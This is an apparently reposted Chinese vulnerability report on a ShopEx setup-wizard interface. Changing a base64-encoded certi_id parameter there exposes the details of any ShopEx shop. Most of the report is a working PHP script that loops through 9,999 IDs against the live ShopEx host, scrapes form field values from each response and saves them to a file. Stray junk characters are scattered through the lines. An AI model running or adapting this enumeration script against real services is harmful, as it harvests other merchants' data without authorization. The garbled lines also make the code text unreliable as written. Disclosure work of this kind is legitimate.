ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
. J; _3 y, T  y3 ~问题出现在shopex 网店使用向导页面
' A" y6 ?/ x; I! w5 [* B9 t& A


http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

; u0 |7 d; |5 [1 d8 o
& }% e$ h3 i% [" b
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



( F4 {+ X0 C0 q2 z6 C' O我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
1 ^) }$ u, v# j2 Z! N

, G5 @* Y* g9 p0 ?
<?php
; A! j! {8 u1 B( ~3 M
                for ($i=1; $i < 10000; $i++) { //遍历
- P1 F3 e( v8 L, z' c
                        ShowshopExD($i);

                }
! f& O3 v! z' Z; l
                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
- n7 d0 W; K% ^  {
1 n+ y1 {. [6 B  G( P                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
1 X9 _; j! ]  g* B" k! N
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
! w4 J$ I! L( o% c3 I9 s4 T
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
- Y. b) q+ L% w/ o
- T5 M* n% P5 p        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
; h! z* C; D7 v9 N1 p' n
% |; F, e) e( y9 G9 E        if(strpos($result,$refer))

        {
$ q3 n2 O& v4 @7 W* \# t1 D) H
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
0 F6 B) }3 c: n+ O
( G% e" c2 r" L' O3 h                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
* x1 g/ j& t6 G- D3 R# W
6 I0 d$ j- k0 L; `# q* [7 Z* B                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
2 x' P: W! J' k% k
0 c; @" P7 X% @( z' {/ w                        echo $res[1][0].':'.$res[3][0]."\r\n";

" }% b- M# {2 D. R0 s7 M8 f                        $col =$res[1][0].':'.$res[3][0]."\r\n";
- ?5 L4 \$ i3 J- L4 a1 U( {% [. P
                        fwrite($fp, $col, strlen($col));

                }
" z% \* H7 M1 V+ E+ z
                echo '--------------------------------'."\r\n";

                fclose($fp);
& M: y4 c/ C, e7 N
, @0 l  d9 x$ I, t- Z9 J& i0 V        }

: x- x! {- g+ S' D2 g) e        flush();

        curl_close($ch);

                }
0 z  y/ J2 e7 V/ O
?>
3 W  P8 K* `2 b2 U漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
, j7 f5 [. P2 H. Srefer换成其他加密方式